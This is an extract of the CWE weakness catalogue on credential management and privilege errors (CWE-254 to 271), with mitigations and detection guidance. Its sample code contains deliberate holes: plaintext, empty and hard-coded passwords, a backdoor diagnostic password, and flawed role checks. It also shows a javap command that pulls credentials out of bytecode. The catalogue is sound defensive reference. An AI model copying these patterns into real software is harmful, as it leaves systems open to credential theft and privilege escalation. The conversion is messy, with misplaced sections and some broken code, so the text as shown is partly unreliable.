Category ID: 254 (Category) Status: Incomplete

Description

Summary
Software security is not security software. Here we're concerned with topics like authentication, access control, confidentiality, cryptography, and privilege management.

**CWE-255: Credentials Management**

**Category ID: 255 (Category)**

**Status:** Draft

**Description**

**Summary**

Weaknesses in this category are related to the management of credentials.

**Applicable Platforms**

**Languages**

- All

**Detection Methods**

**Automated Static Analysis - Binary / Bytecode**

**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  - Binary Weakness Analysis - including disassembler + source code weakness analysis

**Manual Static Analysis - Binary / Bytecode**

**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

**Manual Static Analysis - Source Code**

**SOAR High**

According to SOAR, the following detection techniques may be useful:

- Highly cost effective:
  - Focused Manual Spotcheck - Focused manual analysis of source

- Cost effective for partial coverage:
  - Manual Source Code Review (not inspections)
Automated Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Source code Weakness Analyzer
  - Context-configured Source Code Weakness Analyzer

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
- Highly cost effective:
  - Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  - Formal Methods / Correct-By-Construction
- Cost effective for partial coverage:
  - Attack Modeling

CWE-256: Plaintext Storage of a Password

Weakness ID: 256 (Weakness Variant)  Status: Incomplete

Description

Summary
Storing a password in plaintext may result in a system compromise.

Extended Description
Password management issues occur when a password is stored in plaintext in an application's properties or configuration file. Storing a plaintext password in a configuration file allows anyone who can read the file access to the password-protected resource.

Time of Introduction
- Architecture and Design

Applicable Platforms
Languages
- All

Modes of Introduction
Developers sometimes believe that they cannot defend the application from someone who has access to the configuration, but this attitude makes an attacker's job easier.

**Common Consequences**

- **Access Control**
- **Gain privileges / assume identity**

**Likelihood of Exploit**

Very High

**Demonstrative Examples**

**Example 1:**
The following code reads a password from a properties file and uses the password to connect to a database.

**Java Example:**

```java
... 
Properties prop = new Properties();
prop.load(new FileInputStream("config.properties");
String password = prop.getProperty("password");
DriverManager.getConnection(url, usr, password);
...
```

This code will run successfully, but anyone who has access to config.properties can read the value of password. If a devious employee has access to this information, they can use it to break into the system.

**Example 2:**
The following code reads a password from the registry and uses the password to create a new network credential.

**Java Example:**

```java
... 
String password = regKey.GetValue(passKey).toString();
NetworkCredential netCred = new NetworkCredential(username, password, domain);
...
```

This code will run successfully, but anyone who has access to the registry key used to store the password can read the value of password. If a devious employee has access to this information, they can use it to break into the system.

**Example 3:**
The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext. This Java example shows a properties file with a plaintext username / password pair.

**Java Example:**

```java
# Java Web App ResourceBundle properties file
... 
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

**ASP.NET Example:**

```xml
... 
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" />
</connectionStrings>
... 
```
Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13.

**Potential Mitigations**

**Architecture and Design**

Avoid storing passwords in easily accessible locations.

**Architecture and Design**

Consider storing cryptographic hashes of passwords as an alternative to storing in plaintext.

**None**

A programmer might attempt to remedy the password management problem by obscuring the password with an encoding function, such as base 64 encoding, but this effort does not adequately protect the password because the encoding can be detected and decoded easily.

**Weakness Ordinalities**

**Primary** *(where the weakness exists independent of other weaknesses)*

**Relationships**

**CWE-257: Storing Passwords in a Recoverable Format**

**Weakness ID:** 257 *(Weakness Base)*

**Status:** Incomplete

**Description**

**Summary**

The storage of passwords in a recoverable format makes them subject to password reuse attacks by malicious users. In fact, it should be noted that recoverable encrypted passwords provide no significant benefit over plaintext passwords since they are subject not only to reuse by malicious attackers but also by malicious insiders. If a system administrator can recover a password directly, or use a brute force search on the available information, the administrator can use the password on other accounts.

**Time of Introduction**

- Architecture and Design

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

**Confidentiality**

**Access Control**

**Gain privileges / assume identity**

User’s passwords may be revealed.
Access Control
Gain privileges / assume identity
Revealed passwords may be reused elsewhere to impersonate the users in question.

Likelihood of Exploit
Very High

Demonstrative Examples

Example 1:
Both of these examples verify a password by comparing it to a stored compressed version.

C/C++ Example:

```c
// Bad Code
int VerifyAdmin(char *password) {
    if (strcmp(compress(password), compressed_password)) {
        printf("Incorrect Password\n");
        return(0);
    }
    printf("Entering Diagnostic Mode...\n");
    return(1);
}
```

Java Example:

```java
// Bad Code
int VerifyAdmin(String password) {
    if (passwd.Equals(compress(password), compressed_password)) {
        return(0);
    } //Diagnostic Mode
    return(1);
}
```

Because a compression algorithm is used instead of a one way hashing algorithm, an attacker can recover compressed passwords stored in the database.

Example 2:
The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext.

This Java example shows a properties file with a plaintext username / password pair.

Java Example:

```java
// Bad Code
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

ASP.NET Example:

```xml
// Bad Code
...
<connectionStrings>
  <add name="ud_DEV" connectionString="connectDB=udB; uid-db2admin; pwd=password; dbalias=udB;" 
    providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13.

Potential Mitigations

Architecture and Design
Use strong, non-reversible encryption to protect stored passwords.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)
CWE-258: Empty Password in Configuration File

CAPEC Version 2.10

Maintenance Notes

The meaning of this node needs to be investigated more closely, especially with respect to what is meant by "recoverable."

CWE-258: Empty Password in Configuration File

Weakness ID: 258 (Weakness Variant) Status: Incomplete

Description

Summary
Using an empty string as a password is insecure.

Time of Introduction

• Architecture and Design
• Implementation
• Operation

Applicable Platforms

Languages
• All

Common Consequences
Access Control
Gain privileges / assume identity

Likelihood of Exploit
Very High

Demonstrative Examples

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but the password is provided as an empty string.

This Java example shows a properties file with an empty password string.

Java Example:

```java
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=  
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database and the password is provided as an empty string.
CWE-259: Use of Hard-coded Password

ASP.NET Example:

```xml
<connectionStrings>
  <add name="ud_DEV" connectionString="connectDB=udB; uid=db2admin; pwd=; dbalias=udB;"
    providerName="System.Data.Odbc" />
</connectionStrings>
```

An empty string should never be used as a password as this can allow unauthorized access to the application. Username and password information should not be included in a configuration file or a properties file in clear text. If possible, encrypt this information and avoid CWE-260 and CWE-13.

Potential Mitigations

System Configuration

Passwords should be at least eight characters long -- the longer the better. Avoid passwords that are in any way similar to other passwords you have. Avoid using words that may be found in a dictionary, names book, on a map, etc. Consider incorporating numbers and/or punctuation into your password. If you do use common words, consider replacing letters in that word with numbers and punctuation. However, do not use "similar-looking" punctuation. For example, it is not a good idea to change cat to c@t, ca+, (@+, or anything similar. Finally, it is never appropriate to use an empty string as a password.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

References

same for each installation of the product, and it usually cannot be changed or disabled by system administrators without manually modifying the program, or otherwise patching the software. If the password is ever discovered or published (a common occurrence on the Internet), then anybody with knowledge of this password can access the product. Finally, since all installations of the software will have the same password, even across different organizations, this enables massive attacks such as worms to take place.

The Outbound variant applies to front-end systems that authenticate with a back-end service. The back-end service may require a fixed password which can be easily discovered. The programmer may simply hard-code those back-end credentials into the front-end software. Any user of that program may be able to extract the password. Client-side systems with hard-coded passwords pose even more of a threat, since the extraction of a password from a binary is usually very simple.

**Time of Introduction**
- Implementation
- Architecture and Design

**Applicable Platforms**

**Languages**
- Language-independent

**Common Consequences**

**Access Control**

**Gain privileges / assume identity**

If hard-coded passwords are used, it is almost certain that malicious users will gain access through the account in question.

**Likelihood of Exploit**

Very High

**Detection Methods**

**Manual Analysis**

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

**Black Box**

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and perform a login. Using disassembled code, look at the associated instructions and see if any of them appear to be comparing the input to a fixed string or value.

**Demonstrative Examples**

**Example 1:**

The following code uses a hard-coded password to connect to a database:

**Java Example:**

```java
...  
DriverManager.getConnection(url, "scott", "tiger");  
...  
```

This is an example of an external hard-coded password on the client-side of a connection. This code will run successfully, but anyone who has access to it will have access to the password. Once the program has shipped, there is no going back from the database user "scott" with a password of...
"tiger" unless the program is patched. A devious employee with access to this information can use it to break into the system. Even worse, if attackers have access to the bytecode for application, they can use the `javap -c` command to access the disassembled code, which will contain the values of the passwords used. The result of this operation might look something like the following for the example above:

```
Attack
javap -c ConnMngr.class
22: ldc #36; // String jdbc:mysql://ixne.com/rxsql
24: ldc #38; // String scott
26: ldc #17; // String tiger
```

**Example 2:**
The following code is an example of an internal hard-coded password in the back-end:

**C/C++ Example:**

```c
int VerifyAdmin(char *password) {
    if (strcmp(password, "Mew!") {  
        printf("Incorrect Password!
");
        return(0)
    }
    printf("Entering Diagnostic Mode...\n");
    return(1);
}
```

**Java Example:**

```java
int VerifyAdmin(String password) {
    if (!password.equals("Mew!") {  
        return(0)
    }
    // Diagnostic Mode
    return(1);
}
```

Every instance of this program can be placed into diagnostic mode with the same password. Even worse is the fact that if this program is distributed as a binary-only distribution, it is very difficult to change that password or disable this "functionality."

**Example 3:**
The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext. This Java example shows a properties file with a plaintext username / password pair.

**Java Example:**

```java
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

**ASP.NET Example:**

```xml
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
    providerName="System.Data.Odbc" />
</connectionStrings>
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13.
Potential Mitigations

Architecture and Design
For outbound authentication: store passwords outside of the code in a strongly-protected, encrypted configuration file or database that is protected from access by all outsiders, including other local users on the same system. Properly protect the key (CWE-320). If you cannot use encryption to protect the file, then make sure that the permissions are as restrictive as possible.

Architecture and Design
For inbound authentication: Rather than hard-code a default username and password for first time logins, utilize a “first login” mode that requires the user to enter a unique strong password.

Architecture and Design
Perform access control checks and limit which entities can access the feature that requires the hard-coded password. For example, a feature might only be enabled through the system console instead of through a network connection.

Architecture and Design
For inbound authentication: apply strong one-way hashes to your passwords and store those hashes in a configuration file or database with appropriate access control. That way, theft of the file/database still requires the attacker to try to crack the password. When receiving an incoming password during authentication, take the hash of the password and compare it to the hash that you have saved.

Use randomly assigned salts for each separate hash that you generate. This increases the amount of computation that an attacker needs to conduct a brute-force attack, possibly limiting the effectiveness of the rainbow table method.

Architecture and Design
For front-end to back-end connections: Three solutions are possible, although none are complete. The first suggestion involves the use of generated passwords which are changed automatically and must be entered at given time intervals by a system administrator. These passwords will be held in memory and only be valid for the time intervals.

Next, the passwords used should be limited at the back end to only performing actions valid for the front end, as opposed to having full access.

Finally, the messages sent should be tagged and checksummed with time sensitive values so as to prevent replay style attacks.

White Box Definitions

Definition: A weakness where code path has:
1. end statement that passes a data item to a password function
2. value of the data item is a constant

References

Maintenance Notes

This entry should probably be split into multiple variants: an inbound variant (as seen in the second demonstrative example) and an outbound variant (as seen in the first demonstrative example). These variants are likely to have different consequences, detectability, etc. See extended description.

CWE-260: Password in Configuration File

<table>
<thead>
<tr>
<th>Weakness ID: 260 (Weakness Variant)</th>
<th>Status: Incomplete</th>
</tr>
</thead>
</table>

Description

Summary
The software stores a password in a configuration file that might be accessible to actors who do not know the password.

Extended Description
This can result in compromise of the system for which the password is used. An attacker could gain access to this file and learn the stored password or worse yet, change the password to one of their choosing.

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms

Languages
• All

Common Consequences
Access Control
Gain privileges / assume identity

Demonstrative Examples

Example 1:
Below is a snippet from a Java properties file.

Java Example:

```java
webapp.ldap.username = secretUsername
webapp.ldap.password = secretPassword
```

Because the LDAP credentials are stored in plaintext, anyone with access to the file can gain access to the resource.

Example 2:
The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext. This Java example shows a properties file with a plaintext username / password pair.

**Java Example:**

```
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

**ASP.NET Example:**

```
...
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
providerName="System.Data.Odbc"/>
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-13.

**Potential Mitigations**

**Architecture and Design**

Avoid storing passwords in easily accessible locations.

**Architecture and Design**

Consider storing cryptographic hashes of passwords as an alternative to storing in plaintext.

**Affected Resources**

- File/Directory

**Taxonomy Mappings**

- 7 Pernicious Kingdoms: Password Management: Password in Configuration File

**References**

**CWE-261: Weak Cryptography for Passwords**

**Weakness ID: 261 (Weakness Variant)**

**Description**

**Summary**

Obscuring a password with a trivial encoding does not protect the password.

**Time of Introduction**
CWE Version 2.11
CWE-261: Weak Cryptography for Passwords

- Architecture and Design

Applicable Platforms

Languages
- All

Common Consequences

Access Control
Gain privileges / assume identity

Demonstrative Examples

Example 1:
The following code reads a password from a properties file and uses the password to connect to a database.

Java Example:

```java
... Properties prop = new Properties(); prop.load(new FileInputStream("config.properties"); String password = Base64.decode(prop.getProperty("password"); DriverManager.getConnection(url, usr, password); ...
```

This code will run successfully, but anyone with access to config.properties can read the value of password and easily determine that the value has been base 64 encoded. If a devious employee has access to this information, they can use it to break into the system.

Example 2:
The following code reads a password from the registry and uses the password to create a new network credential.

C# Example:

```csharp
... string value = regKey.GetValue(passKey).ToString(); byte[] decVal = Convert.FromBase64String(value); NetworkCredential netCred = new NetworkCredential(username, decVal.ToString(), domain); ...
```

This code will run successfully, but anyone who has access to the registry key used to store the password can read the value of password. If a devious employee has access to this information, they can use it to break into the system.

Potential Mitigations

Passwords should be encrypted with keys that are at least 128 bits in length for adequate security.

Other Notes

Password management issues occur when a password is stored in plaintext in an application’s properties or configuration file. A programmer can attempt to remedy the password management problem by obscuring the password with an encoding function, such as base 64 encoding, but this effort does not adequately protect the password.

The "crypt" family of functions uses weak cryptographic algorithms and should be avoided. It may be present in some projects for compatibility.

**References**

**CWE-262: Not Using Password Aging**

**Weakness ID:** 262 *(Weakness Variant)*  
**Status:** Draft

**Description**

**Summary**

If no mechanism is in place for managing password aging, users will have no incentive to update passwords in a timely manner.

**Time of Introduction**

- Architecture and Design

**Applicable Platforms**

- Languages
  - All

**Common Consequences**

- Access Control
  - Gain privileges / assume identity
    - As passwords age, the probability that they are compromised grows.

**Likelihood of Exploit**

- Very Low

**Demonstrative Examples**

**Example 1:**

A common example is not having a system to terminate old employee accounts.

**Example 2:**

Not having a system for enforcing the changing of passwords every certain period.

**Potential Mitigations**

**Architecture and Design**

The recommendation that users change their passwords regularly and do not reuse passwords is universal among security experts. In order to enforce this, it is useful to have a password aging mechanism that notifies users when passwords are considered old and that requests that they replace them with new, strong passwords. In order for this functionality to be useful, however, it must be accompanied with documentation which stresses how important this practice is and which makes the entire process as simple as possible for the user.

References

CWE-263: Password Aging with Long Expiration

Weakness ID: 263 (Weakness Base)  Status: Draft

Description
Summary
Allowing password aging to occur unchecked can result in the possibility of diminished password integrity.

Extended Description
Just as neglecting to include functionality for the management of password aging is dangerous, so is allowing password aging to continue unchecked. Passwords must be given a maximum life span, after which a user is required to update with a new and different password.

Time of Introduction
- Architecture and Design

Applicable Platforms
Languages
- All

Common Consequences
Access Control
Gain privileges / assume identity
As passwords age, the probability that they are compromised grows.

Likelihood of Exploit
Very Low

Demonstrative Examples
Example 1:
A common example is not having a system to terminate old employee accounts.

Example 2:
Not having a system for enforcing the changing of passwords every certain period.

Potential Mitigations
Architecture and Design
Ensure that password aging is limited so that there is a defined maximum age for passwords and so that the user is notified several times leading up to the password expiration.

CWE-264: Permissions, Privileges, and Access Controls

**Category ID:** 264 (Category)

**Status:** Incomplete

**Description**

**Summary**
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

**Applicable Platforms**

**Languages**

- All

**Detection Methods**

**Manual Static Analysis - Binary / Bytecode**

**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

**Dynamic Analysis with automated results interpretation**

**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Web Application Scanner
  - Web Services Scanner
  - Database Scanners

**Dynamic Analysis with manual results interpretation**

**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Fuzz Tester
  - Framework-based Fuzzer
  - Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious
CWE Version 2.11
CWE-265: Privilege / Sandbox Issues

Manual Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Manual Source Code Review (not inspections)
Cost effective for partial coverage:
- Focused Manual Spotcheck - Focused manual analysis of source

Automated Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Context-configured Source Code Weakness Analyzer

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
- Formal Methods / Correct-By-Construction

Potential Mitigations
Architecture and Design
Separation of Privilege
Follow the principle of least privilege when assigning access rights to entities in a software system.

CWE-265: Privilege / Sandbox Issues

<table>
<thead>
<tr>
<th>Category ID: 265 (Category)</th>
<th>Status: Incomplete</th>
</tr>
</thead>
<tbody>
<tr>
<td>Description</td>
<td></td>
</tr>
</tbody>
</table>
Summary
Weaknesses in this category occur with improper enforcement of sandbox environments, or the
improper handling, assignment, or management of privileges.

Detection Methods

Automated Static Analysis - Binary / Bytecode

SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Compare binary / bytecode to application permission manifest
Cost effective for partial coverage:
- Bytecode Weakness Analysis - including disassembler + source code weakness analysis
- Binary Weakness Analysis - including disassembler + source code weakness analysis

Manually Static Analysis - Binary / Bytecode

SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with automated results interpretation

SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Host-based Vulnerability Scanners – Examine configuration for flaws, verifying that audit
  mechanisms work, ensure host configuration meets certain predefined criteria

Manual Static Analysis - Source Code

SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Manual Source Code Review (not inspections)
Cost effective for partial coverage:
- Focused Manual Spotcheck - Focused manual analysis of source

Automated Static Analysis - Source Code

SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Source code Weakness Analyzer
- Context-configured Source Code Weakness Analyzer

Automated Static Analysis

SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Configuration Checker
- Permission Manifest Analysis

Architecture / Design Review

SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Cost effective for partial coverage:
- Attack Modeling

Potential Mitigations
Architecture and Design
Operation
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Architecture and Design
Separation of Privilege
Follow the principle of least privilege when assigning access rights to entities in a software system.

</tbody>
</table>

Relationship Notes
This can strongly overlap authorization errors.

Research Gaps
Many of the following concepts require deeper study. Most privilege problems are not classified at such a low level of detail, and terminology is very sparse. Certain classes of software, such as web browsers and software bug trackers, provide a rich set of examples for further research. Operating systems have matured to the point that these kinds of weaknesses are rare, but finer-grained models for privileges, capabilities, or roles might introduce subtler issues.

Theoretical Notes
A sandbox could be regarded as an explicitly defined sphere of control, in that the sandbox only defines a limited set of behaviors, which can only access a limited set of resources.

It could be argued that any privilege problem occurs within the context of a sandbox.

CWE-266: Incorrect Privilege Assignment

<table>
<thead>
<tr>
<th>Weakness ID:</th>
<th>266 (Weakness Base)</th>
<th>Status: Draft</th>
</tr>
</thead>
</table>

Description

**Summary**
A product incorrectly assigns a privilege to a particular actor, creating an unintended sphere of control for that actor.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms

Languages
- Language-independent

Common Consequences
Access Control

Gain privileges / assume identity

A user can access restricted functionality and/or sensitive information that may include administrative functionality and user accounts.

Demonstrative Examples

Example 1:
Evidence of privilege change:

C Example:
```
seteuid(0);
/* do some stuff */
seteuid(getuid());
```

Java Example:
```
AccessController.doPrivileged(new PrivilegedAction() {
    public Object run() {
        // privileged code goes here, for example:
        System.loadLibrary("awt");
        return null;
        // nothing to return
    }
});
```

Example 2:
This application sends a special intent with a flag that allows the receiving application to read a data file for backup purposes.

Java Example:
```
Intent intent = new Intent();
intent.setAction("com.example.BackupUserData");
intent.setData(file_uri);
intent.addFlags(FLAG_GRANT_READ_URI_PERMISSION);
sendBroadcast(intent);
```

Java Example:
```
public class CallReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        Uri userData = intent.getData();
        stealUserData(userData);
    }
}
```

Any malicious application can register to receive this intent. Because of the FLAG_GRANT_READ_URI_PERMISSION included with the intent, the malicious receiver code can read the user’s data.

<td>Product allows users to grant themselves certain rights that can be used to escalate privileges.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Architecture and Design

Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
CWE Version 2.11
CWE-267: Privilege Defined With Unsafe Actions

Architecture and Design

Operation

Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.266.1]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Weakness Ordinalities

Resultant (where the weakness is typically related to the presence of some other weaknesses)

Relationships

Affected Resources

- System Process

Causal Nature

Explicit (an explicit weakness resulting from behavior of the developer)

Taxonomy Mappings

References

CWE-267: Privilege Defined With Unsafe Actions

Weakness ID: 267 (Weakness Base) Status: Incomplete

Description

Summary

A particular privilege, role, capability, or right can be used to perform unsafe actions that were not intended, even when it is assigned to the correct entity.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Common Consequences
Access Control
Gain privileges / assume identity
A user can access restricted functionality and/or sensitive information that may include administrative functionality and user accounts.

Demonstrative Examples
This code intends to allow only Administrators to print debug information about a system.

Java Example:

```java
public enum Roles {
    ADMIN, USER, GUEST
}

public void printDebugInfo(User requestingUser){
    if(isAuthenticated(requestingUser)){
        switch(requestingUser.role){
            case GUEST:
                System.out.println("You are not authorized to perform this command");
                break;
            default:
                System.out.println(currentDebugState());
                break;
        }
    } else{
        System.out.println("You must be logged in to perform this command");
    }
}
```

While the intention was to only allow Administrators to print the debug information, the code as written only excludes those the with the role of "GUEST". Someone with the role of "ADMIN" or "USER" will be allowed access, which goes against the original intent. An attacker may be able to use this debug information to craft an attack on the system.

</tbody>
</table>

### References

### Maintenance Notes

This overlaps authorization and access control problems.

Note: there are 2 separate sub-categories here:
- privilege incorrectly allows entities to perform certain actions
- object is incorrectly accessible to entities with a given privilege

---

**CWE-268: Privilege Chaining**

**Weakness ID:** 268 *(Weakness Base)*  
**Status:** Draft

### Description

**Summary**

Two distinct privileges, roles, capabilities, or rights can be combined in a way that allows an entity to perform unsafe actions that would not be allowed without that combination.

### Time of Introduction

- Architecture and Design
- Implementation
- Operation

### Applicable Platforms

**Languages**

- All

### Common Consequences
**Access Control**

**Gain privileges / assume identity**

A user can be given or gain access rights of another user. This can give the user unauthorized access to sensitive information including the access information of another user.

**Likelihood of Exploit**

High

**Demonstrative Examples**

This code allows someone with the role of "ADMIN" or "OPERATOR" to reset a user's password. The role of "OPERATOR" is intended to have less privileges than an "ADMIN", but still be able to help users with small issues such as forgotten passwords.

**Java Example:**

```java
public enum Roles {
    ADMIN, OPERATOR, USER, GUEST
}

public void resetPassword(User requestingUser, User user, String password) {
    if(isAuthenticated(requestingUser)) {
        switch(requestingUser.role) {
            case GUEST:
                System.out.println("You are not authorized to perform this command");
                break;
            case USER:
                System.out.println("You are not authorized to perform this command");
                break;
            default:
                setPassword(user, password);
                break;
        }
    } else {
        System.out.println("You must be logged in to perform this command");
    }
}
```

This code does not check the role of the user whose password is being reset. It is possible for an Operator to gain Admin privileges by resetting the password of an Admin account and taking control of that account.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-1772</td>
<td>Gain certain rights via privilege chaining in alternate channel.</td>
</tr>
<tr>
<td>CVE-2003-0640</td>
<td>&quot;operator&quot; user can overwrite usernames and passwords to gain admin privileges.</td>
</tr>
<tr>
<td>CVE-2005-1736</td>
<td>Chaining of user rights.</td>
</tr>
<tr>
<td>CVE-2005-1973</td>
<td>Application is allowed to assign extra permissions to itself.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**

**Separation of Privilege**

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

**Architecture and Design**

**Operation**

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Architecture and Design
Operation
Environment Hardening

**References**

**Maintenance Notes**

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-396).
CWE-270: Privilege Context Switching Error

Description

Summary
The software does not properly manage privileges while it is switching between different contexts that have different privileges or spheres of control.

Time of Introduction
- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages
- All

Common Consequences

Access Control
Gain privileges / assume identity
A user can assume the identity of another user with separate privileges in another context. This will give the user unauthorized access that may allow them to acquire the access information of other users.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-1688</td>
<td>Web browser cross domain problem when user hits &quot;back&quot; button.</td>

<td>Cross-domain issue - third party product passes code to web browser, which executes it in unsafe zone.</td>
</tr>
<tr>
<td>CVE-2003-1026</td>
<td>Web browser cross domain problem when user hits &quot;back&quot; button.</td>
</tr>
<tr>
<td>CVE-2005-2263</td>
<td>Run callback in different security context after it has been changed from untrusted to trusted. * note that &quot;context switch before actions are completed&quot; is one type of problem that happens frequently, espec. in browsers.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Architecture and Design
Operation
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Architecture and Design
Operation
Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.270.1]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Architecture and Design
Separation of Privilege
Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

CWE-271: Privilege Dropping / Lowering Errors

<table>
<thead>
<tr>
<th>Weakness ID: 271 (Weakness Class)</th>
<th>Status: Incomplete</th>
</tr>
</thead>
</table>

Description

Summary

The software does not drop privileges before passing control of a resource to an actor that does not have those privileges.

Extended Description

In some contexts, a system executing with elevated permissions will hand off a process/file/etc. to another process or user. If the privileges of an entity are not reduced, then elevated privileges are spread throughout a system and possibly to an attacker.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

- Languages
  - All

Common Consequences

Access Control

- Gain privileges / assume identity
  - If privileges are not dropped, neither are access rights of the user. Often these rights can be prevented from being dropped.

Access Control

Non-Repudiation

- Gain privileges / assume identity
- Hide activities
  - If privileges are not dropped, in some cases the system may record actions as the user which is being impersonated rather than the impersonator.

Likelihood of Exploit

- High

Demonstrative Examples

The following code calls chroot() to restrict the application to a subset of the filesystem below APP_HOME in order to prevent an attacker from using the program to gain unauthorized access to files located elsewhere. The code then opens a file specified by the user and processes the contents of the file.

C Example:

```c
chroot(APP_HOME);
chdir("/");
```
